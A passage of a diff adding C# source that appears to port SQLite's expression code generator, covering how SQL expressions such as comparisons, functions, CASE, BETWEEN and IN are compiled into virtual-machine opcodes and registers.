( i = 0; i < SQLITE_N_COLCACHE; i++ )// p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + int x = p.iReg; + if ( x >= iFrom && x < iFrom + nReg ) + { + p.iReg += iTo - iFrom; + } + } + } + + /* + ** Generate code to copy content from registers iFrom...iFrom+nReg-1 + ** over to iTo..iTo+nReg-1. + */ + static void sqlite3ExprCodeCopy( Parse pParse, int iFrom, int iTo, int nReg ) + { + int i; + if ( NEVER( iFrom == iTo ) ) + return; + for ( i = 0; i < nReg; i++ ) + { + sqlite3VdbeAddOp2( pParse.pVdbe, OP_Copy, iFrom + i, iTo + i ); + } + } + +#if (SQLITE_DEBUG) || (SQLITE_COVERAGE_TEST) + /* +** Return true if any register in the range iFrom..iTo (inclusive) +** is used as part of the column cache. +** +** This routine is used within Debug.Assert() and testcase() macros only +** and does not appear in a normal build. +*/ + static int usedAsColumnCache( Parse pParse, int iFrom, int iTo ) + { + int i; + yColCache p; + for ( i = 0; i < SQLITE_N_COLCACHE; i++ )//p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + int r = p.iReg; + if ( r >= iFrom && r <= iTo ) + return 1; /*NO_TEST*/ + } + return 0; + } +#else +static int usedAsColumnCache( Parse pParse, int iFrom, int iTo ){return 0;} +#endif //* SQLITE_DEBUG || SQLITE_COVERAGE_TEST */ + + + /* + ** Generate code into the current Vdbe to evaluate the given + ** expression. Attempt to store the results in register "target". + ** Return the register where results are stored. + ** + ** With this routine, there is no guarantee that results will + ** be stored in target. The result might be stored in some other + ** register if it is convenient to do so. The calling function + ** must check the return code and move the results to the desired + ** register. + */ + static int sqlite3ExprCodeTarget( Parse pParse, Expr pExpr, int target ) + { + Vdbe v = pParse.pVdbe; /* The VM under construction */ + int op; /* The opcode being coded */ + int inReg = target; /* Results stored in register inReg */ + int regFree1 = 0; /* If non-zero free this temporary register */ + int regFree2 = 0; /* If non-zero free this temporary register */ + int r1 = 0, r2 = 0, r3 = 0, r4 = 0; /* Various register numbers */ + sqlite3 db = pParse.db; /* The database connection */ + + Debug.Assert( target > 0 && target <= pParse.nMem ); + if ( v == null ) + { + //Debug.Assert( pParse.db.mallocFailed != 0 ); + return 0; + } + + if ( pExpr == null ) + { + op = TK_NULL; + } + else + { + op = pExpr.op; + } + switch ( op ) + { + case TK_AGG_COLUMN: + { + AggInfo pAggInfo = pExpr.pAggInfo; + AggInfo_col pCol = pAggInfo.aCol[pExpr.iAgg]; + if ( pAggInfo.directMode == 0 ) + { + Debug.Assert( pCol.iMem > 0 ); + inReg = pCol.iMem; + break; + } + else if ( pAggInfo.useSortingIdx != 0 ) + { + sqlite3VdbeAddOp3( v, OP_Column, pAggInfo.sortingIdx, + pCol.iSorterColumn, target ); + break; + } + /* Otherwise, fall thru into the TK_COLUMN case */ + } + goto case TK_COLUMN; + case TK_COLUMN: + { + if ( pExpr.iTable < 0 ) + { + /* This only happens when coding check constraints */ + Debug.Assert( pParse.ckBase > 0 ); + inReg = pExpr.iColumn + pParse.ckBase; + } + else + { + inReg = sqlite3ExprCodeGetColumn( pParse, pExpr.pTab, + pExpr.iColumn, pExpr.iTable, target ); + } + break; + } + case TK_INTEGER: + { + codeInteger( pParse, pExpr, false, target ); + break; + } +#if !SQLITE_OMIT_FLOATING_POINT + case TK_FLOAT: + { + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + codeReal( v, pExpr.u.zToken, false, target ); + break; + } +#endif + case TK_STRING: + { + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + sqlite3VdbeAddOp4( v, OP_String8, 0, target, 0, pExpr.u.zToken, 0 ); + break; + } + case TK_NULL: + { + sqlite3VdbeAddOp2( v, OP_Null, 0, target ); + break; + } +#if !SQLITE_OMIT_BLOB_LITERAL + case TK_BLOB: + { + int n; + string z; + byte[] zBlob; + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + Debug.Assert( pExpr.u.zToken[0] == 'x' || pExpr.u.zToken[0] == 'X' ); + Debug.Assert( pExpr.u.zToken[1] == '\'' ); + z = pExpr.u.zToken.Substring( 2 ); + n = sqlite3Strlen30( z ) - 1; + Debug.Assert( z[n] == '\'' ); + zBlob = sqlite3HexToBlob( sqlite3VdbeDb( v ), z, n ); + sqlite3VdbeAddOp4( v, OP_Blob, n / 2, target, 0, zBlob, P4_DYNAMIC ); + break; + } +#endif + case TK_VARIABLE: + { + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + Debug.Assert( pExpr.u.zToken != null ); + Debug.Assert( pExpr.u.zToken.Length != 0 ); + sqlite3VdbeAddOp2( v, OP_Variable, pExpr.iColumn, target ); + if ( pExpr.u.zToken.Length > 1 ) + { + Debug.Assert( pExpr.u.zToken[0] == '?' + || pExpr.u.zToken.CompareTo(pParse.azVar[pExpr.iColumn - 1] ) == 0 ); + sqlite3VdbeChangeP4( v, -1, pParse.azVar[pExpr.iColumn - 1], P4_STATIC ); + } + break; + } + case TK_REGISTER: + { + inReg = pExpr.iTable; + break; + } + case TK_AS: + { + inReg = sqlite3ExprCodeTarget( pParse, pExpr.pLeft, target ); + break; + } +#if !SQLITE_OMIT_CAST + case TK_CAST: + { + /* Expressions of the form: CAST(pLeft AS token) */ + int aff, to_op; + inReg = sqlite3ExprCodeTarget( pParse, pExpr.pLeft, target ); + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + aff = sqlite3AffinityType( pExpr.u.zToken ); + to_op = aff - SQLITE_AFF_TEXT + OP_ToText; + Debug.Assert( to_op == OP_ToText || aff != SQLITE_AFF_TEXT ); + Debug.Assert( to_op == OP_ToBlob || aff != SQLITE_AFF_NONE ); + Debug.Assert( to_op == OP_ToNumeric || aff != SQLITE_AFF_NUMERIC ); + Debug.Assert( to_op == OP_ToInt || aff != SQLITE_AFF_INTEGER ); + Debug.Assert( to_op == OP_ToReal || aff != SQLITE_AFF_REAL ); + testcase( to_op == OP_ToText ); + testcase( to_op == OP_ToBlob ); + testcase( to_op == OP_ToNumeric ); + testcase( to_op == OP_ToInt ); + testcase( to_op == OP_ToReal ); + if ( inReg != target ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, inReg, target ); + inReg = target; + } + sqlite3VdbeAddOp1( v, to_op, inReg ); + testcase( usedAsColumnCache( pParse, inReg, inReg ) != 0 ); + sqlite3ExprCacheAffinityChange( pParse, inReg, 1 ); + break; + } +#endif // * SQLITE_OMIT_CAST */ + case TK_LT: + case TK_LE: + case TK_GT: + case TK_GE: + case TK_NE: + case TK_EQ: + { + Debug.Assert( TK_LT == OP_Lt ); + Debug.Assert( TK_LE == OP_Le ); + Debug.Assert( TK_GT == OP_Gt ); + Debug.Assert( TK_GE == OP_Ge ); + Debug.Assert( TK_EQ == OP_Eq ); + Debug.Assert( TK_NE == OP_Ne ); + testcase( op == TK_LT ); + testcase( op == TK_LE ); + testcase( op == TK_GT ); + testcase( op == TK_GE ); + testcase( op == TK_EQ ); + testcase( op == TK_NE ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + r2 = sqlite3ExprCodeTemp( pParse, pExpr.pRight, ref regFree2 ); + codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, + r1, r2, inReg, SQLITE_STOREP2 ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + break; + } + case TK_IS: + case TK_ISNOT: + { + testcase( op == TK_IS ); + testcase( op == TK_ISNOT ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + r2 = sqlite3ExprCodeTemp( pParse, pExpr.pRight, ref regFree2 ); + op = ( op == TK_IS ) ? TK_EQ : TK_NE; + codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, + r1, r2, inReg, SQLITE_STOREP2 | SQLITE_NULLEQ ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + break; + } + case TK_AND: + case TK_OR: + case TK_PLUS: + case TK_STAR: + case TK_MINUS: + case TK_REM: + case TK_BITAND: + case TK_BITOR: + case TK_SLASH: + case TK_LSHIFT: + case TK_RSHIFT: + case TK_CONCAT: + { + Debug.Assert( TK_AND == OP_And ); + Debug.Assert( TK_OR == OP_Or ); + Debug.Assert( TK_PLUS == OP_Add ); + Debug.Assert( TK_MINUS == OP_Subtract ); + Debug.Assert( TK_REM == OP_Remainder ); + Debug.Assert( TK_BITAND == OP_BitAnd ); + Debug.Assert( TK_BITOR == OP_BitOr ); + Debug.Assert( TK_SLASH == OP_Divide ); + Debug.Assert( TK_LSHIFT == OP_ShiftLeft ); + Debug.Assert( TK_RSHIFT == OP_ShiftRight ); + Debug.Assert( TK_CONCAT == OP_Concat ); + testcase( op == TK_AND ); + testcase( op == TK_OR ); + testcase( op == TK_PLUS ); + testcase( op == TK_MINUS ); + testcase( op == TK_REM ); + testcase( op == TK_BITAND ); + testcase( op == TK_BITOR ); + testcase( op == TK_SLASH ); + testcase( op == TK_LSHIFT ); + testcase( op == TK_RSHIFT ); + testcase( op == TK_CONCAT ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + r2 = sqlite3ExprCodeTemp( pParse, pExpr.pRight, ref regFree2 ); + sqlite3VdbeAddOp3( v, op, r2, r1, target ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + break; + } + case TK_UMINUS: + { + Expr pLeft = pExpr.pLeft; + Debug.Assert( pLeft != null ); + if ( pLeft.op == TK_INTEGER ) + { + codeInteger( pParse, pLeft, true, target ); +#if !SQLITE_OMIT_FLOATING_POINT + } + else if ( pLeft.op == TK_FLOAT ) + { + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + codeReal( v, pLeft.u.zToken, true, target ); +#endif + } + else + { + regFree1 = r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, r1 ); + r2 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree2 ); + sqlite3VdbeAddOp3( v, OP_Subtract, r2, r1, target ); + testcase( regFree2 == 0 ); + } + inReg = target; + break; + } + case TK_BITNOT: + case TK_NOT: + { + Debug.Assert( TK_BITNOT == OP_BitNot ); + Debug.Assert( TK_NOT == OP_Not ); + testcase( op == TK_BITNOT ); + testcase( op == TK_NOT ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + testcase( regFree1 == 0 ); + inReg = target; + sqlite3VdbeAddOp2( v, op, r1, inReg ); + break; + } + case TK_ISNULL: + case TK_NOTNULL: + { + int addr; + Debug.Assert( TK_ISNULL == OP_IsNull ); + Debug.Assert( TK_NOTNULL == OP_NotNull ); + testcase( op == TK_ISNULL ); + testcase( op == TK_NOTNULL ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, target ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + testcase( regFree1 == 0 ); + addr = sqlite3VdbeAddOp1( v, op, r1 ); + sqlite3VdbeAddOp2( v, OP_AddImm, target, -1 ); + sqlite3VdbeJumpHere( v, addr ); + break; + } + case TK_AGG_FUNCTION: + { + AggInfo pInfo = pExpr.pAggInfo; + if ( pInfo == null ) + { + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + sqlite3ErrorMsg( pParse, "misuse of aggregate: %s()", pExpr.u.zToken ); + } + else + { + inReg = pInfo.aFunc[pExpr.iAgg].iMem; + } + break; + } + case TK_CONST_FUNC: + case TK_FUNCTION: + { + ExprList pFarg; /* List of function arguments */ + int nFarg; /* Number of function arguments */ + FuncDef pDef; /* The function definition object */ + int nId; /* Length of the function name in bytes */ + string zId; /* The function name */ + int constMask = 0; /* Mask of function arguments that are constant */ + int i; /* Loop counter */ + u8 enc = ENC( db ); /* The text encoding used by this database */ + CollSeq pColl = null; /* A collating sequence */ + + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + testcase( op == TK_CONST_FUNC ); + testcase( op == TK_FUNCTION ); + if ( ExprHasAnyProperty( pExpr, EP_TokenOnly ) ) + { + pFarg = null; + } + else + { + pFarg = pExpr.x.pList; + } + nFarg = pFarg != null ? pFarg.nExpr : 0; + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + zId = pExpr.u.zToken; + nId = sqlite3Strlen30( zId ); + pDef = sqlite3FindFunction( pParse.db, zId, nId, nFarg, enc, 0 ); + if ( pDef == null ) + { + sqlite3ErrorMsg( pParse, "unknown function: %.*s()", nId, zId ); + break; + } + + /* Attempt a direct implementation of the built-in COALESCE() and + ** IFNULL() functions. This avoids unnecessary evalation of + ** arguments past the first non-NULL argument. + */ + if ( ( pDef.flags & SQLITE_FUNC_COALESCE ) != 0 ) + { + int endCoalesce = sqlite3VdbeMakeLabel( v ); + Debug.Assert( nFarg >= 2 ); + sqlite3ExprCode( pParse, pFarg.a[0].pExpr, target ); + for ( i = 1; i < nFarg; i++ ) + { + sqlite3VdbeAddOp2( v, OP_NotNull, target, endCoalesce ); + sqlite3ExprCacheRemove( pParse, target, 1 ); + sqlite3ExprCachePush( pParse ); + sqlite3ExprCode( pParse, pFarg.a[i].pExpr, target ); + sqlite3ExprCachePop( pParse, 1 ); + } + sqlite3VdbeResolveLabel( v, endCoalesce ); + break; + } + + if ( pFarg != null ) + { + r1 = sqlite3GetTempRange( pParse, nFarg ); + sqlite3ExprCachePush( pParse ); /* Ticket 2ea2425d34be */ + sqlite3ExprCodeExprList( pParse, pFarg, r1, true ); + sqlite3ExprCachePop( pParse, 1 ); /* Ticket 2ea2425d34be */ + } + else + { + r1 = 0; + } +#if !SQLITE_OMIT_VIRTUALTABLE +/* Possibly overload the function if the first argument is +** a virtual table column. +** +** For infix functions (LIKE, GLOB, REGEXP, and MATCH) use the +** second argument, not the first, as the argument to test to +** see if it is a column in a virtual table. This is done because +** the left operand of infix functions (the operand we want to +** control overloading) ends up as the second argument to the +** function. The expression "A glob B" is equivalent to +** "glob(B,A). We want to use the A in "A glob B" to test +** for function overloading. But we use the B term in "glob(B,A)". +*/ + if ( nFarg >= 2 && ( pExpr.flags & EP_InfixFunc ) != 0 ) + { + pDef = sqlite3VtabOverloadFunction( db, pDef, nFarg, pFarg.a[1].pExpr ); + } + else if ( nFarg > 0 ) + { + pDef = sqlite3VtabOverloadFunction( db, pDef, nFarg, pFarg.a[0].pExpr ); + } +#endif + for ( i = 0; i < nFarg; i++ ) + { + if ( i < 32 && sqlite3ExprIsConstant( pFarg.a[i].pExpr ) != 0 ) + { + constMask |= ( 1 << i ); + } + if ( ( pDef.flags & SQLITE_FUNC_NEEDCOLL ) != 0 && null == pColl ) + { + pColl = sqlite3ExprCollSeq( pParse, pFarg.a[i].pExpr ); + } + } + if ( ( pDef.flags & SQLITE_FUNC_NEEDCOLL ) != 0 ) + { + if ( null == pColl ) + pColl = db.pDfltColl; + sqlite3VdbeAddOp4( v, OP_CollSeq, 0, 0, 0, pColl, P4_COLLSEQ ); + } + sqlite3VdbeAddOp4( v, OP_Function, constMask, r1, target, + pDef, P4_FUNCDEF ); + sqlite3VdbeChangeP5( v, (u8)nFarg ); + if ( nFarg != 0 ) + { + sqlite3ReleaseTempRange( pParse, r1, nFarg ); + } + break; + } +#if !SQLITE_OMIT_SUBQUERY + case TK_EXISTS: + case TK_SELECT: + { + testcase( op == TK_EXISTS ); + testcase( op == TK_SELECT ); + inReg = sqlite3CodeSubselect( pParse, pExpr, 0, false ); + break; + } + case TK_IN: + { + int destIfFalse = sqlite3VdbeMakeLabel( v ); + int destIfNull = sqlite3VdbeMakeLabel( v ); + sqlite3VdbeAddOp2( v, OP_Null, 0, target ); + sqlite3ExprCodeIN( pParse, pExpr, destIfFalse, destIfNull ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, target ); + sqlite3VdbeResolveLabel( v, destIfFalse ); + sqlite3VdbeAddOp2( v, OP_AddImm, target, 0 ); + sqlite3VdbeResolveLabel( v, destIfNull ); + break; + } +#endif //* SQLITE_OMIT_SUBQUERY */ + + /* +** x BETWEEN y AND z +** +** This is equivalent to +** +** x>=y AND x<=z +** +** X is stored in pExpr.pLeft. +** Y is stored in pExpr.x.pList.a[0].pExpr. +** Z is stored in pExpr.x.pList.a[1].pExpr. +*/ + case TK_BETWEEN: + { + Expr pLeft = pExpr.pLeft; + ExprList_item pLItem = pExpr.x.pList.a[0]; + Expr pRight = pLItem.pExpr; + r1 = sqlite3ExprCodeTemp( pParse, pLeft, ref regFree1 ); + r2 = sqlite3ExprCodeTemp( pParse, pRight, ref regFree2 ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + r3 = sqlite3GetTempReg( pParse ); + r4 = sqlite3GetTempReg( pParse ); + codeCompare( pParse, pLeft, pRight, OP_Ge, + r1, r2, r3, SQLITE_STOREP2 ); + pLItem = pExpr.x.pList.a[1];// pLItem++; + pRight = pLItem.pExpr; + sqlite3ReleaseTempReg( pParse, regFree2 ); + r2 = sqlite3ExprCodeTemp( pParse, pRight, ref regFree2 ); + testcase( regFree2 == 0 ); + codeCompare( pParse, pLeft, pRight, OP_Le, r1, r2, r4, SQLITE_STOREP2 ); + sqlite3VdbeAddOp3( v, OP_And, r3, r4, target ); + sqlite3ReleaseTempReg( pParse, r3 ); + sqlite3ReleaseTempReg( pParse, r4 ); + break; + } + case TK_UPLUS: + { + inReg = sqlite3ExprCodeTarget( pParse, pExpr.pLeft, target ); + break; + } + case TK_TRIGGER: + { + /* If the opcode is TK_TRIGGER, then the expression is a reference + ** to a column in the new.* or old.* pseudo-tables available to + ** trigger programs. In this case Expr.iTable is set to 1 for the + ** new.* pseudo-table, or 0 for the old.* pseudo-table. Expr.iColumn + ** is set to the column of the pseudo-table to read, or to -1 to + ** read the rowid field. + ** + ** The expression is implemented using an OP_Param opcode. The p1 + ** parameter is set to 0 for an old.rowid reference, or to (i+1) + ** to reference another column of the old.* pseudo-table, where + ** i is the index of the column. For a new.rowid reference, p1 is + ** set to (n+1), where n is the number of columns in each pseudo-table. + ** For a reference to any other column in the new.* pseudo-table, p1 + ** is set to (n+2+i), where n and i are as defined previously. For + ** example, if the table on which triggers are being fired is + ** declared as: + ** + ** CREATE TABLE t1(a, b); + ** + ** Then p1 is interpreted as follows: + ** + ** p1==0 . old.rowid p1==3 . new.rowid + ** p1==1 . old.a p1==4 . new.a + ** p1==2 . old.b p1==5 . new.b + */ + Table pTab = pExpr.pTab; + int p1 = pExpr.iTable * ( pTab.nCol + 1 ) + 1 + pExpr.iColumn; + + Debug.Assert( pExpr.iTable == 0 || pExpr.iTable == 1 ); + Debug.Assert( pExpr.iColumn >= -1 && pExpr.iColumn < pTab.nCol ); + Debug.Assert( pTab.iPKey < 0 || pExpr.iColumn != pTab.iPKey ); + Debug.Assert( p1 >= 0 && p1 < ( pTab.nCol * 2 + 2 ) ); + + sqlite3VdbeAddOp2( v, OP_Param, p1, target ); + VdbeComment( v, "%s.%s -> $%d", + ( pExpr.iTable != 0 ? "new" : "old" ), + ( pExpr.iColumn < 0 ? "rowid" : pExpr.pTab.aCol[pExpr.iColumn].zName ), + target + ); + + /* If the column has REAL affinity, it may currently be stored as an + ** integer. Use OP_RealAffinity to make sure it is really real. */ + if ( pExpr.iColumn >= 0 + && pTab.aCol[pExpr.iColumn].affinity == SQLITE_AFF_REAL + ) + { + sqlite3VdbeAddOp1( v, OP_RealAffinity, target ); + } + break; + } + + /* + ** Form A: + ** CASE x WHEN e1 THEN r1 WHEN e2 THEN r2 ... WHEN eN THEN rN ELSE y END + ** + ** Form B: + ** CASE WHEN e1 THEN r1 WHEN e2 THEN r2 ... WHEN eN THEN rN ELSE y END + ** + ** Form A is can be transformed into the equivalent form B as follows: + ** CASE WHEN x=e1 THEN r1 WHEN x=e2 THEN r2 ... + ** WHEN x=eN THEN rN ELSE y END + ** + ** X (if it exists) is in pExpr.pLeft. + ** Y is in pExpr.pRight. The Y is also optional. If there is no + ** ELSE clause and no other term matches, then the result of the + ** exprssion is NULL. + ** Ei is in pExpr.x.pList.a[i*2] and Ri is pExpr.x.pList.a[i*2+1]. + ** + ** The result of the expression is the Ri for the first matching Ei, + ** or if there is no matching Ei, the ELSE term Y, or if there is + ** no ELSE term, NULL. + */ + default: + { + Debug.Assert( op == TK_CASE ); + int endLabel; /* GOTO label for end of CASE stmt */ + int nextCase; /* GOTO label for next WHEN clause */ + int nExpr; /* 2x number of WHEN terms */ + int i; /* Loop counter */ + ExprList pEList; /* List of WHEN terms */ + ExprList_item[] aListelem; /* Array of WHEN terms */ + Expr opCompare = new Expr(); /* The X==Ei expression */ + Expr cacheX; /* Cached expression X */ + Expr pX; /* The X expression */ + Expr pTest = null; /* X==Ei (form A) or just Ei (form B) */ +#if !NDEBUG + int iCacheLevel = pParse.iCacheLevel; + //VVA_ONLY( int iCacheLevel = pParse.iCacheLevel; ) +#endif + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) && pExpr.x.pList != null ); + Debug.Assert( ( pExpr.x.pList.nExpr % 2 ) == 0 ); + Debug.Assert( pExpr.x.pList.nExpr > 0 ); + pEList = pExpr.x.pList; + aListelem = pEList.a; + nExpr = pEList.nExpr; + endLabel = sqlite3VdbeMakeLabel( v ); + if ( ( pX = pExpr.pLeft ) != null ) + { + cacheX = pX; + testcase( pX.op == TK_COLUMN ); + testcase( pX.op == TK_REGISTER ); + cacheX.iTable = sqlite3ExprCodeTemp( pParse, pX, ref regFree1 ); + testcase( regFree1 == 0 ); + cacheX.op = TK_REGISTER; + opCompare.op = TK_EQ; + opCompare.pLeft = cacheX; + pTest = opCompare; + /* Ticket b351d95f9cd5ef17e9d9dbae18f5ca8611190001: + ** The value in regFree1 might get SCopy-ed into the file result. + ** So make sure that the regFree1 register is not reused for other + ** purposes and possibly overwritten. */ + regFree1 = 0; + } + for ( i = 0; i < nExpr; i = i + 2 ) + { + sqlite3ExprCachePush( pParse ); + if ( pX != null ) + { + Debug.Assert( pTest != null ); + opCompare.pRight = aListelem[i].pExpr; + } + else + { + pTest = aListelem[i].pExpr; + } + nextCase = sqlite3VdbeMakeLabel( v ); + testcase( pTest.op == TK_COLUMN ); + sqlite3ExprIfFalse( pParse, pTest, nextCase, SQLITE_JUMPIFNULL ); + testcase( aListelem[i + 1].pExpr.op == TK_COLUMN ); + testcase( aListelem[i + 1].pExpr.op == TK_REGISTER ); + sqlite3ExprCode( pParse, aListelem[i + 1].pExpr, target ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, endLabel ); + sqlite3ExprCachePop( pParse, 1 ); + sqlite3VdbeResolveLabel( v, nextCase ); + } + if ( pExpr.pRight != null ) + { + sqlite3ExprCachePush( pParse ); + sqlite3ExprCode( pParse, pExpr.pRight, target ); + sqlite3ExprCachePop( pParse, 1 ); + } + else + { + sqlite3VdbeAddOp2( v, OP_Null, 0, target ); + } +#if !NDEBUG + Debug.Assert( /* db.mallocFailed != 0 || */ pParse.nErr > 0 + || pParse.iCacheLevel == iCacheLevel ); +#endif + sqlite3VdbeResolveLabel( v, endLabel ); + break; + } +#if !SQLITE_OMIT_TRIGGER + case TK_RAISE: + { + Debug.Assert( pExpr.affinity == OE_Rollback + || pExpr.affinity == OE_Abort + || pExpr.affinity == OE_Fail + || pExpr.affinity == OE_Ignore + ); + if ( null == pParse.pTriggerTab ) + { + sqlite3ErrorMsg( pParse, + "RAISE() may only be used within a trigger-program" ); + return 0; + } + if ( pExpr.affinity == OE_Abort ) + { + sqlite3MayAbort( pParse ); + } + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + if ( pExpr.affinity == OE_Ignore ) + { + sqlite3VdbeAddOp4( + v, OP_Halt, SQLITE_OK, OE_Ignore, 0, pExpr.u.zToken, 0 ); + } + else + { + sqlite3HaltConstraint( pParse, pExpr.affinity, pExpr.u.zToken, 0 ); + } + + break; + } +#endif + } + sqlite3ReleaseTempReg( pParse, regFree1 ); + sqlite3ReleaseTempReg( pParse, regFree2 ); + return inReg; + } + + /* + ** Generate code to evaluate an expression and store the results + ** into a register. Return the register number where the results + ** are stored. + ** + ** If the register is a temporary register that can be deallocated, + ** then write its number into pReg. If the result register is not + ** a temporary, then set pReg to zero. + */ + static int sqlite3ExprCodeTemp( Parse pParse, Expr pExpr, ref int pReg ) + { + int r1 = sqlite3GetTempReg( pParse ); + int r2 = sqlite3ExprCodeTarget( pParse, pExpr, r1 ); + if ( r2 == r1 ) + { + pReg = r1; + } + else + { + sqlite3ReleaseTempReg( pParse, r1 ); + pReg = 0; + } + return r2; + } + + /* + ** Generate code that will evaluate expression pExpr and store the + ** results in register target. The results are guaranteed to appear + ** in register target. + */ + static int sqlite3ExprCode( Parse pParse, Expr pExpr, int target ) + { + int inReg; + + Debug.Assert( target > 0 && target <= pParse.nMem ); + if ( pExpr != null && pExpr.op == TK_REGISTER ) + { + sqlite3VdbeAddOp2( pParse.pVdbe, OP_Copy, pExpr.iTable, target ); + } + else + { + inReg = sqlite3ExprCodeTarget( pParse, pExpr, target ); + Debug.Assert( pParse.pVdbe != null /* || pParse.db.mallocFailed != 0 */ ); + if ( inReg != target && pParse.pVdbe != null ) + { + sqlite3VdbeAddOp2( pParse.pVdbe, OP_SCopy, inReg, target ); + } + } + return target; + } + + /* + ** Generate code that evalutes the given expression and puts the result + ** in register target. + ** + ** Also make a copy of the expression results into another "cache" register + ** and modify the expression so that the next time it is evaluated, + ** the result is a copy of the cache register. + ** + ** This routine is used for expressions that are used multiple + ** times. They are evaluated once and the results of the expression + ** are reused. + */ + static int sqlite3ExprCodeAndCache( Parse pParse, Expr pExpr, int target ) + { + Vdbe v = pParse.pVdbe; + int inReg; + inReg = sqlite3ExprCode( pParse, pExpr, target ); + Debug.Assert( target > 0 ); + /* This routine is called for terms to INSERT or UPDATE. And the only + ** other place where expressions can be converted into TK_REGISTER is + ** in WHERE clause processing. So as currently implemented, there is + ** no way for a TK_REGISTER to exist here. But it seems prudent to + ** keep the ALWAYS() in case the conditions above change with future + ** modifications or enhancements. */ + if ( ALWAYS( pExpr.op != TK_REGISTER ) ) + { + int iMem; + iMem = ++pParse.nMem; + sqlite3VdbeAddOp2( v, OP_Copy, inReg, iMem ); + pExpr.iTable = iMem; + pExpr.op2 = pExpr.op; + pExpr.op = TK_REGISTER; + } + return inReg; + } + + /* + ** Return TRUE if pExpr is an constant expression that is appropriate + ** for factoring out of a loop. Appropriate expressions are: + ** + ** * Any expression that evaluates to two or more opcodes. + ** + ** * Any OP_Integer, OP_Real, OP_String, OP_Blob, OP_Null, + ** or OP_Variable that does not need to be placed in a + ** specific register. + ** + ** There is no point in factoring out single-instruction constant + ** expressions that need to be placed in a particular register. + ** We could factor them out, but then we would end up adding an + ** OP_SCopy instruction to move the value into the correct register + ** later. We might as well just use the original instruction and + ** avoid the OP_SCopy. + */ + static int isAppropriateForFactoring( Expr p ) + { + if ( sqlite3ExprIsConstantNotJoin( p ) == 0 ) + { + return 0; /* Only constant expressions are appropriate for factoring */ + } + if ( ( p.flags & EP_FixedDest ) == 0 ) + { + return 1; /* Any constant without a fixed destination is appropriate */ + } + while ( p.op == TK_UPLUS ) + p = p.pLeft; + switch ( p.op ) + { +#if !SQLITE_OMIT_BLOB_LITERAL + case TK_BLOB: +#endif + case TK_VARIABLE: + case TK_INTEGER: + case TK_FLOAT: + case TK_NULL: + case TK_STRING: + { + testcase( p.op == TK_BLOB ); + testcase( p.op == TK_VARIABLE ); + testcase( p.op == TK_INTEGER ); + testcase( p.op == TK_FLOAT ); + testcase( p.op == TK_NULL ); + testcase( p.op == TK_STRING ); + /* Single-instruction constants with a fixed destination are + ** better done in-line. If we factor them, they will just end + ** up generating an OP_SCopy to move the value to the destination + ** register. */ + return 0; + } + case TK_UMINUS: + { + if ( p.pLeft.op == TK_FLOAT || p.pLeft.op == TK_INTEGER ) + { + return 0; + } + break; + } + default: + { + break; + } + } + return 1; + } + + /* + ** If pExpr is a constant expression that is appropriate for + ** factoring out of a loop, then evaluate the expression + ** into a register and convert the expression into a TK_REGISTER + ** expression. + */ + static int evalConstExpr( Walker pWalker, ref Expr pExpr ) + { + Parse pParse = pWalker.pParse; + switch ( pExpr.op ) + { + case TK_IN: + case TK_REGISTER: + { + return WRC_Prune; + } + case TK_FUNCTION: + case TK_AGG_FUNCTION: + case TK_CONST_FUNC: + { + /* The arguments to a function have a fixed destination. + ** Mark them this way to avoid generated unneeded OP_SCopy + ** instructions. + */ + ExprList pList = pExpr.x.pList; + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + if ( pList != null ) + { + int i = pList.nExpr; + ExprList_item pItem;//= pList.a; + for ( ; i > 0; i-- ) + {//, pItem++){ + pItem = pList.a[pList.nExpr - i]; + if ( ALWAYS( pItem.pExpr != null ) ) + pItem.pExpr.flags |= EP_FixedDest; + } + } + break; + } + } + if ( isAppropriateForFactoring( pExpr ) != 0 ) + { + int r1 = ++pParse.nMem; + int r2; + r2 = sqlite3ExprCodeTarget( pParse, pExpr, r1 ); + if ( NEVER( r1 != r2 ) ) + sqlite3ReleaseTempReg( pParse, r1 ); + pExpr.op2 = pExpr.op; + pExpr.op = TK_REGISTER; + pExpr.iTable = r2; + return WRC_Prune; + } + return WRC_Continue; + } + + /* + ** Preevaluate constant subexpressions within pExpr and store the + ** results in registers. Modify pExpr so that the constant subexpresions + ** are TK_REGISTER opcodes that refer to the precomputed values. + ** + ** This routine is a no-op if the jump to the cookie-check code has + ** already occur. Since the cookie-check jump is generated prior to + ** any other serious processing, this check ensures that there is no + ** way to accidently bypass the constant initializations. + ** + ** This routine is also a no-op if the SQLITE_FactorOutConst optimization + ** is disabled via the sqlite3_test_control(SQLITE_TESTCTRL_OPTIMIZATIONS) + ** interface. This allows test logic to verify that the same answer is + 